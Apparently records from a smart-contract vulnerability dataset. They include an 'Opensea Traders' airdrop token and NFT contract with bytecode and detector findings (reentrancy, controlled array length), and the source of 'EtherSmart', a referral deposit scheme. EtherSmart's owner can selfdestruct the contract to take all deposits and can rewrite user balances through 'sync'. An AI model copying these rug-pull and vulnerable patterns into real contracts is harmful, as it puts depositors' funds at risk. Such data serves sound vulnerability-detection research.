Opensea Traders
An ERC-20 and NFT airdrop for everyone that traded via Opensea in Q1 2021.
Website: https://openseatraders.io/
Created by sol_dev
*/
pragma solidity ^0.5.17;
interface Receiver {
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns (bytes4);
}
interface Callable {
function tokenCallback(address _from, uint256 _tokens, bytes calldata _data) external returns (bool);
}
interface Router {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface Factory {
function createPair(address, address) external returns (address);
}
interface Pair {
function token0() external view returns (address);
function totalSupply() external view returns (uint256);
function balanceOf(address) external view returns (uint256);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
contract Metadata {
string public name = "Opensea Traders NFT";
string public symbol = "OSTNFT";
function contractURI() external pure returns (string memory) {
return "https://api.openseatraders.io/metadata";
}
function baseTokenURI() public pure returns (string memory) {
return "https://api.openseatraders.io/token/";
}
function tokenURI(uint256 _tokenId) external pure returns (string memory) {
bytes memory _base = bytes(baseTokenURI());
uint256 _digits = 1;
uint256 _n = _tokenId;
while (_n > 9) {
_n /= 10;
_digits++;
}
bytes memory _uri = new bytes(_base.length + _digits);
for (uint256 i = 0; i < _uri.length; i++) {
if (i < _base.length) {
_uri[i] = _base[i];
} else {
uint256 _dec = (_tokenId / (10**(_uri.length - i - 1))) % 10;
_uri[i] = byte(uint8(_dec) + 48);
}
}
return string(_uri);
}
}
contract OST {
uint256 constant private UINT_MAX = uint256(-1);
string constant public name = "Opensea Traders";
string constant public symbol = "OST";
uint8 constant public decimals = 18;
struct User {
uint256 balance;
mapping(address => uint256) allowance;
}
struct Info {
uint256 totalSupply;
mapping(address => User) users;
Router router;
Pair pair;
address controller;
bool weth0;
}
Info private info;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed owner, address indexed spender, uint256 tokens);
constructor() public {
info.router = Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
info.pair = Pair(Factory(info.router.factory()).createPair(info.router.WETH(), address(this)));
info.weth0 = info.pair.token0() == info.router.WETH();
info.controller = msg.sender;
}
function mint(address _receiver, uint256 _amount) external {
require(msg.sender == info.controller);
info.totalSupply += _amount;
info.users[_receiver].balance += _amount;
emit Transfer(address(0x0), _receiver, _amount);
}
function transfer(address _to, uint256 _tokens) external returns (bool) {
return _transfer(msg.sender, _to, _tokens);
}
function approve(address _spender, uint256 _tokens) external returns (bool) {
info.users[msg.sender].allowance[_spender] = _tokens;
emit Approval(msg.sender, _spender, _tokens);
return true;
}
function transferFrom(address _from, address _to, uint256 _tokens) external returns (bool) {
uint256 _allowance = allowance(_from, msg.sender);
require(_allowance >= _tokens);
if (_allowance != UINT_MAX) {
info.users[_from].allowance[msg.sender] -= _tokens;
}
return _transfer(_from, _to, _tokens);
}
function transferAndCall(address _to, uint256 _tokens, bytes calldata _data) external returns (bool) {
_transfer(msg.sender, _to, _tokens);
uint32 _size;
assembly {
_size := extcodesize(_to)
}
if (_size > 0) {
require(Callable(_to).tokenCallback(msg.sender, _tokens, _data));
}
return true;
}
function totalSupply() public view returns (uint256) {
return info.totalSupply;
}
function balanceOf(address _user) public view returns (uint256) {
return info.users[_user].balance;
}
function allowance(address _user, address _spender) public view returns (uint256) {
return info.users[_user].allowance[_spender];
}
function allInfoFor(address _user) external view returns (uint256 totalTokens, uint256 totalLPTokens, uint256 wethReserve, uint256 ostReserve, uint256 userBalance, uint256 userLPBalance) {
totalTokens = totalSupply();
totalLPTokens = info.pair.totalSupply();
(uint256 _res0, uint256 _res1, ) = info.pair.getReserves();
wethReserve = info.weth0 ? _res0 : _res1;
ostReserve = info.weth0 ? _res1 : _res0;
userBalance = balanceOf(_user);
userLPBalance = info.pair.balanceOf(_user);
}
function _transfer(address _from, address _to, uint256 _tokens) internal returns (bool) {
require(balanceOf(_from) >= _tokens);
info.users[_from].balance -= _tokens;
info.users[_to].balance += _tokens;
emit Transfer(_from, _to, _tokens);
return true;
}
}
contract OpenseaTraders {
struct User {
uint256[] list;
mapping(address => bool) approved;
mapping(uint256 => uint256) indexOf;
}
struct Token {
address owner;
address approved;
}
struct Info {
bytes32 merkleRoot;
uint256 totalSupply;
mapping(uint256 => uint256) claimedBitMap;
mapping(uint256 => Token) list;
mapping(address => User) users;
OST ost;
Metadata metadata;
address owner;
}
Info private info;
mapping(bytes4 => bool) public supportsInterface;
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
event Claimed(uint256 indexed index, address indexed account, uint256 indexed tokenId);
constructor(bytes32 _merkleRoot) public {
info.ost = new OST();
info.metadata = new Metadata();
info.owner = msg.sender;
info.merkleRoot = _merkleRoot;
supportsInterface[0x01ffc9a7] = true; // ERC-165
supportsInterface[0x80ac58cd] = true; // ERC-721
supportsInterface[0x5b5e139f] = true; // Metadata
supportsInterface[0x780e9d63] = true; // Enumerable
// Developer Bonus
info.ost.mint(msg.sender, 1e22); // 10,000 OST
_mint(msg.sender);
}
function setOwner(address _owner) external {
require(msg.sender == info.owner);
info.owner = _owner;
}
function setMetadata(Metadata _metadata) external {
require(msg.sender == info.owner);
info.metadata = _metadata;
}
function claim(uint256 _index, address _account, uint256 _amount, bytes32[] calldata _merkleProof) external {
require(!isClaimed(_index));
bytes32 _node = keccak256(abi.encodePacked(_index, _account, _amount));
require(_verify(_merkleProof, _node));
uint256 _claimedWordIndex = _index / 256;
uint256 _claimedBitIndex = _index % 256;
info.claimedBitMap[_claimedWordIndex] = info.claimedBitMap[_claimedWordIndex] | (1 << _claimedBitIndex);
info.ost.mint(_account, _amount);
uint256 _tokenId = _mint(_account);
emit Claimed(_index, _account, _tokenId);
}
function approve(address _approved, uint256 _tokenId) external {
require(msg.sender == ownerOf(_tokenId));
info.list[_tokenId].approved = _approved;
emit Approval(msg.sender, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved) external {
info.users[msg.sender].approved[_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function transferFrom(address _from, address _to, uint256 _tokenId) external {
_transfer(_from, _to, _tokenId);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external {
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) public {
_transfer(_from, _to, _tokenId);
uint32 _size;
assembly {
_size := extcodesize(_to)
}
if (_size > 0) {
require(Receiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data) == 0x150b7a02);
}
}
function name() external view returns (string memory) {
return info.metadata.name();
}
function symbol() external view returns (string memory) {
return info.metadata.symbol();
}
function contractURI() external view returns (string memory) {
return info.metadata.contractURI();
}
function baseTokenURI() external view returns (string memory) {
return info.metadata.baseTokenURI();
}
function tokenURI(uint256 _tokenId) external view returns (string memory) {
return info.metadata.tokenURI(_tokenId);
}
function ostAddress() external view returns (address) {
return address(info.ost);
}
function owner() public view returns (address) {
return info.owner;
}
function totalSupply() public view returns (uint256) {
return info.totalSupply;
}
function balanceOf(address _owner) public view returns (uint256) {
return info.users[_owner].list.length;
}
function ownerOf(uint256 _tokenId) public view returns (address) {
require(_tokenId != 0 && _tokenId <= totalSupply());
return info.list[_tokenId].owner;
}
function getApproved(uint256 _tokenId) public view returns (address) {
require(_tokenId != 0 && _tokenId <= totalSupply());
return info.list[_tokenId].approved;
}
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return info.users[_owner].approved[_operator];
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return _index;
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) {
require(_index < balanceOf(_owner));
return info.users[_owner].list[_index];
}
function isClaimed(uint256 _index) public view returns (bool) {
uint256 _claimedWordIndex = _index / 256;
uint256 _claimedBitIndex = _index % 256;
uint256 _claimedWord = info.claimedBitMap[_claimedWordIndex];
uint256 _mask = (1 << _claimedBitIndex);
return _claimedWord & _mask == _mask;
}
function getToken(uint256 _tokenId) public view returns (address tokenOwner, address approved) {
return (ownerOf(_tokenId), getApproved(_tokenId));
}
function getTokens(uint256[] memory _tokenIds) public view returns (address[] memory owners, address[] memory approveds) {
uint256 _length = _tokenIds.length;
owners = new address[](_length);
approveds = new address[](_length);
for (uint256 i = 0; i < _length; i++) {
(owners[i], approveds[i]) = getToken(_tokenIds[i]);
}
}
function getTokensTable(uint256 _limit, uint256 _page, bool _isAsc) public view returns (uint256[] memory tokenIds, address[] memory owners, address[] memory approveds, uint256 totalTokens, uint256 totalPages) {
require(_limit > 0);
totalTokens = totalSupply();
if (totalTokens > 0) {
totalPages = (totalTokens / _limit) + (totalTokens % _limit == 0 ? 0 : 1);
require(_page < totalPages);
uint256 _offset = _limit * _page;
if (_page == totalPages - 1 && totalTokens % _limit != 0) {
_limit = totalTokens % _limit;
}
tokenIds = new uint256[](_limit);
for (uint256 i = 0; i < _limit; i++) {
tokenIds[i] = tokenByIndex(_isAsc ? _offset + i : totalTokens - _offset - i - 1);
}
} else {
totalPages = 0;
tokenIds = new uint256[](0);
}
(owners, approveds) = getTokens(tokenIds);
}
function getOwnerTokensTable(address _owner, uint256 _limit, uint256 _page, bool _isAsc) public view returns (uint256[] memory tokenIds, address[] memory approveds, uint256 totalTokens, uint256 totalPages) {
require(_limit > 0);
totalTokens = balanceOf(_owner);
if (totalTokens > 0) {
totalPages = (totalTokens / _limit) + (totalTokens % _limit == 0 ? 0 : 1);
require(_page < totalPages);
uint256 _offset = _limit * _page;
if (_page == totalPages - 1 && totalTokens % _limit != 0) {
_limit = totalTokens % _limit;
}
tokenIds = new uint256[](_limit);
for (uint256 i = 0; i < _limit; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, _isAsc ? _offset + i : totalTokens - _offset - i - 1);
}
} else {
totalPages = 0;
tokenIds = new uint256[](0);
}
( , approveds) = getTokens(tokenIds);
}
function allInfoFor(address _owner) external view returns (uint256 supply, uint256 ownerBalance) {
return (totalSupply(), balanceOf(_owner));
}
function _mint(address _receiver) internal returns (uint256 tokenId) {
tokenId = totalSupply();
info.totalSupply++;
info.list[tokenId].owner = _receiver;
info.users[_receiver].indexOf[tokenId] = info.users[_receiver].list.push(tokenId);
emit Transfer(address(0x0), _receiver, tokenId);
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
(address _owner, address _approved) = getToken(_tokenId);
require(_from == _owner);
require(msg.sender == _owner || msg.sender == _approved || isApprovedForAll(_owner, msg.sender));
info.list[_tokenId].owner = _to;
if (_approved != address(0x0)) {
info.list[_tokenId].approved = address(0x0);
emit Approval(address(0x0), address(0x0), _tokenId);
}
uint256 _index = info.users[_from].indexOf[_tokenId] - 1;
uint256 _moved = info.users[_from].list[info.users[_from].list.length - 1];
info.users[_from].list[_index] = _moved;
info.users[_from].indexOf[_moved] = _index + 1;
info.users[_from].list.length--;
delete info.users[_from].indexOf[_tokenId];
info.users[_to].indexOf[_tokenId] = info.users[_to].list.push(_tokenId);
emit Transfer(_from, _to, _tokenId);
}
function _verify(bytes32[] memory _proof, bytes32 _leaf) internal view returns (bool) {
bytes32 _computedHash = _leaf;
for (uint256 i = 0; i < _proof.length; i++) {
bytes32 _proofElement = _proof[i];
if (_computedHash <= _proofElement) {
_computedHash = keccak256(abi.encodePacked(_computedHash, _proofElement));
} else {
_computedHash = keccak256(abi.encodePacked(_proofElement, _computedHash));
}
}
return _computedHash == info.merkleRoot;
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806340c10f191161007157806340c10f191461026957806357f6b8121461029757806370a08231146102f057806395d89b4114610316578063a9059cbb1461031e578063dd62ed3e1461034a576100b4565b806306fdde03146100b9578063095ea7b31461013657806318160ddd1461017657806323b872dd14610190578063313ce567146101c65780634000aea0146101e4575b600080fd5b6100c1610378565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100fb5781810151838201526020016100e3565b50505050905090810190601f1680156101285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101626004803603604081101561014c57600080fd5b506001600160a01b0381351690602001356103a3565b604080519115158252519081900360200190f35b61017e61040b565b60408051918252519081900360200190f35b610162600480360360608110156101a657600080fd5b506001600160a01b03813581169160208101359091169060400135610411565b6101ce610477565b6040805160ff9092168252519081900360200190f35b610162600480360360608110156101fa57600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561022a57600080fd5b82018360208201111561023c57600080fd5b8035906020019184600183028401116401000000008311171561025e57600080fd5b50909250905061047c565b6102956004803603604081101561027f57600080fd5b506001600160a01b038135169060200135610560565b005b6102bd600480360360208110156102ad57600080fd5b50356001600160a01b03166105d7565b604080519687526020870195909552858501939093526060850191909152608084015260a0830152519081900360c00190f35b61017e6004803603602081101561030657600080fd5b50356001600160a01b03166107bc565b6100c16107d7565b6101626004803603604081101561033457600080fd5b506001600160a01b0381351690602001356107f6565b61017e6004803603604081101561036057600080fd5b506001600160a01b038135811691602001351661080a565b6040518060400160405280600f81526020016e4f70656e736561205472616465727360881b81525081565b3360008181526001602081815260408084206001600160a01b0388168086529301825280842086905580518681529051939492937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60005490565b60008061041e853361080a565b90508281101561042d57600080fd5b6000198114610463576001600160a01b038516600090815260016020818152604080842033855290920190529020805484900390555b61046e858585610836565b95945050505050565b601281565b6000610489338686610836565b50843b63ffffffff81161561055457604051636be32e7360e01b8152336004820181815260248301889052606060448401908152606484018790526001600160a01b038a1693636be32e7393928a928a928a929190608401848480828437600081840152601f19601f82011690508083019250505095505050505050602060405180830381600087803b15801561051f57600080fd5b505af1158015610533573d6000803e3d6000fd5b505050506040513d602081101561054957600080fd5b505161055457600080fd5b50600195945050505050565b6004546001600160a01b0316331461057757600080fd5b60008054820181556001600160a01b038316808252600160209081526040808420805486019055805185815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35050565b6000806000806000806105e861040b565b600354604080516318160ddd60e01b815290519298506001600160a01b03909116916318160ddd91600480820192602092909190829003018186803b15801561063057600080fd5b505afa158015610644573d6000803e3d6000fd5b505050506040513d602081101561065a57600080fd5b505160035460408051630240bc6b60e21b8152905192975060009283926001600160a01b031691630902f1ac916004808301926060929190829003018186803b1580156106a657600080fd5b505afa1580156106ba573d6000803e3d6000fd5b505050506040513d60608110156106d057600080fd5b5080516020909101516004546dffffffffffffffffffffffffffff928316945091169150600160a01b900460ff16610708578061070a565b815b600454909650600160a01b900460ff166107245781610726565b805b9450610731896107bc565b600354604080516370a0823160e01b81526001600160a01b038d8116600483015291519397509116916370a0823191602480820192602092909190829003018186803b15801561078057600080fd5b505afa158015610794573d6000803e3d6000fd5b505050506040513d60208110156107aa57600080fd5b50519799969850949693959294505050565b6001600160a01b031660009081526001602052604090205490565b6040518060400160405280600381526020016213d4d560ea1b81525081565b6000610803338484610836565b9392505050565b6001600160a01b0391821660009081526001602081815260408084209490951683529201909152205490565b600081610842856107bc565b101561084d57600080fd5b6001600160a01b03808516600081815260016020908152604080832080548890039055938716808352918490208054870190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3506001939250505056fea265627a7a7231582024370630180f238ecdfc4b8a35399defd4d33fac337fcb27c58a934aec7b4d8864736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 8,117 |
0xd3b978db605cc2aced5ff82fcee6f0b0ef19272f
|
/*! EtherSmart.sol | (c) 2020 Developed by EthSmartLab | SPDX-License-Identifier: MIT License */
pragma solidity 0.6.8;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
contract Destructible {
address payable public grand_owner;
event GrandOwnershipTransferred(address indexed previous_owner, address indexed new_owner);
constructor() public {
grand_owner = msg.sender;
}
function transferGrandOwnership(address payable _to) external {
require(msg.sender == grand_owner, "Access denied (only grand owner)");
grand_owner = _to;
}
function destruct() external {
require(msg.sender == grand_owner, "Access denied (only grand owner)");
selfdestruct(grand_owner);
}
}
contract EtherSmart is Ownable, Destructible, Pausable {
struct User {
uint256 cycle;
address upline;
uint256 referrals;
uint256 payouts;
uint256 direct_bonus;
uint256 pool_bonus;
uint256 match_bonus;
uint256 deposit_amount;
uint256 deposit_payouts;
uint40 deposit_time;
uint256 total_deposits;
uint256 total_payouts;
uint256 total_structure;
}
mapping(address => User) public users;
uint256[] public cycles; // ether
uint8[] public ref_bonuses; // 1 => 1%
uint8[] public pool_bonuses; // 1 => 1%
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
uint256 public total_withdraw;
event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event DirectPayout(address indexed addr, address indexed from, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event PoolPayout(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
constructor() public {
ref_bonuses.push(30);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
pool_bonuses.push(40);
pool_bonuses.push(30);
pool_bonuses.push(20);
pool_bonuses.push(10);
cycles.push(10 ether);
cycles.push(39 ether);
cycles.push(99 ether);
cycles.push(299 ether);
}
receive() payable external whenNotPaused {
_deposit(msg.sender, msg.value);
}
function _setUpline(address _addr, address _upline) private {
if(users[_addr].upline == address(0) && _upline != _addr && (users[_upline].deposit_time > 0 || _upline == owner())) {
users[_addr].upline = _upline;
users[_upline].referrals++;
emit Upline(_addr, _upline);
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(_upline == address(0)) break;
users[_upline].total_structure++;
_upline = users[_upline].upline;
}
}
}
function _deposit(address _addr, uint256 _amount) private {
require(users[_addr].upline != address(0) || _addr == owner(), "No upline");
if(users[_addr].deposit_time > 0) {
users[_addr].cycle++;
require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists");
require(_amount >= users[_addr].deposit_amount && _amount <= cycles[users[_addr].cycle > cycles.length - 1 ? cycles.length - 1 : users[_addr].cycle], "Bad amount");
}
else require(_amount >= 0.1 ether && _amount <= cycles[0], "Bad amount");
users[_addr].payouts = 0;
users[_addr].deposit_amount = _amount;
users[_addr].deposit_payouts = 0;
users[_addr].deposit_time = uint40(block.timestamp);
users[_addr].total_deposits += _amount;
emit NewDeposit(_addr, _amount);
if(users[_addr].upline != address(0)) {
users[users[_addr].upline].direct_bonus += _amount / 10;
emit DirectPayout(users[_addr].upline, _addr, _amount / 10);
}
_pollDeposits(_addr, _amount);
if(pool_last_draw + 1 days < block.timestamp) {
_drawPool();
}
payable(owner()).transfer((_amount * 4 ) / 100);
}
function _pollDeposits(address _addr, uint256 _amount) private {
pool_balance += _amount / 20;
address upline = users[_addr].upline;
if(upline == address(0)) return;
pool_users_refs_deposits_sum[pool_cycle][upline] += _amount;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == upline) break;
if(pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top[j] == upline) {
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
if(users[up].referrals >= i + 1) {
uint256 bonus = _amount * ref_bonuses[i] / 100;
users[up].match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
}
up = users[up].upline;
}
}
function _drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++;
uint256 draw_amount = pool_balance / 10;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
uint256 win = draw_amount * pool_bonuses[i] / 100;
users[pool_top[i]].pool_bonus += win;
pool_balance -= win;
emit PoolPayout(pool_top[i], win);
}
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = address(0);
}
}
function deposit(address _upline) payable external whenNotPaused {
_setUpline(msg.sender, _upline);
_deposit(msg.sender, msg.value);
}
function withdraw() external whenNotPaused {
(uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender);
require(users[msg.sender].payouts < max_payout, "Full payouts");
// Deposit payout
if(to_payout > 0) {
if(users[msg.sender].payouts + to_payout > max_payout) {
to_payout = max_payout - users[msg.sender].payouts;
}
users[msg.sender].deposit_payouts += to_payout;
users[msg.sender].payouts += to_payout;
_refPayout(msg.sender, to_payout);
}
// Direct payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) {
uint256 direct_bonus = users[msg.sender].direct_bonus;
if(users[msg.sender].payouts + direct_bonus > max_payout) {
direct_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].direct_bonus -= direct_bonus;
users[msg.sender].payouts += direct_bonus;
to_payout += direct_bonus;
}
// Pool payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) {
uint256 pool_bonus = users[msg.sender].pool_bonus;
if(users[msg.sender].payouts + pool_bonus > max_payout) {
pool_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].pool_bonus -= pool_bonus;
users[msg.sender].payouts += pool_bonus;
to_payout += pool_bonus;
}
// Match payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) {
uint256 match_bonus = users[msg.sender].match_bonus;
if(users[msg.sender].payouts + match_bonus > max_payout) {
match_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].match_bonus -= match_bonus;
users[msg.sender].payouts += match_bonus;
to_payout += match_bonus;
}
require(to_payout > 0, "Zero payout");
users[msg.sender].total_payouts += to_payout;
total_withdraw += to_payout;
payable(msg.sender).transfer(to_payout);
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].payouts >= max_payout) {
emit LimitReached(msg.sender, users[msg.sender].payouts);
}
}
function drawPool() external onlyOwner {
_drawPool();
}
function pause() external onlyOwner {
_pause();
}
function unpause() external onlyOwner {
_unpause();
}
function maxPayoutOf(uint256 _amount) pure external returns(uint256) {
return _amount * 318 / 100;
}
function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) {
max_payout = this.maxPayoutOf(users[_addr].deposit_amount);
if(users[_addr].deposit_payouts < max_payout) {
payout = (users[_addr].deposit_amount * (((block.timestamp - users[_addr].deposit_time) / 1 days) * 12)/ 1000) - users[_addr].deposit_payouts;
if(users[_addr].deposit_payouts + payout > max_payout) {
payout = max_payout - users[_addr].deposit_payouts;
}
}
}
/*
Only external call
*/
function userInfo(address _addr) view external returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 match_bonus) {
return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].match_bonus);
}
function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}
function contractInfo() view external returns(uint256 _total_withdraw, uint40 _pool_last_draw, uint256 _pool_balance, uint256 _pool_lider) {
return (total_withdraw, pool_last_draw, pool_balance, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]]);
}
function poolTopInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) {
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
addrs[i] = pool_top[i];
deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
}
}
}
contract Sync is EtherSmart {
bool public sync_close = false;
function sync(address[] calldata _users, address[] calldata _uplines, uint256[] calldata _data) external onlyOwner {
require(!sync_close, "Sync already close");
for(uint256 i = 0; i < _users.length; i++) {
address addr = _users[i];
uint256 q = i * 12;
//require(users[_uplines[i]].total_deposits > 0, "No upline");
if(users[addr].total_deposits == 0) {
emit Upline(addr, _uplines[i]);
}
users[addr].cycle = _data[q];
users[addr].upline = _uplines[i];
users[addr].referrals = _data[q + 1];
users[addr].payouts = _data[q + 2];
users[addr].direct_bonus = _data[q + 3];
users[addr].pool_bonus = _data[q + 4];
users[addr].match_bonus = _data[q + 5];
users[addr].deposit_amount = _data[q + 6];
users[addr].deposit_payouts = _data[q + 7];
users[addr].deposit_time = uint40(_data[q + 8]);
users[addr].total_deposits = _data[q + 9];
users[addr].total_payouts = _data[q + 10];
users[addr].total_structure = _data[q + 11];
}
}
function syncGlobal(uint40 _pool_last_draw, uint256 _pool_cycle, uint256 _pool_balance, uint256 _total_withdraw, address[] calldata _pool_top) external onlyOwner {
require(!sync_close, "Sync already close");
pool_last_draw = _pool_last_draw;
pool_cycle = _pool_cycle;
pool_balance = _pool_balance;
total_withdraw = _total_withdraw;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = _pool_top[i];
}
}
function syncUp() external payable {}
function syncClose() external onlyOwner {
require(!sync_close, "Sync already close");
sync_close = true;
}
}
|
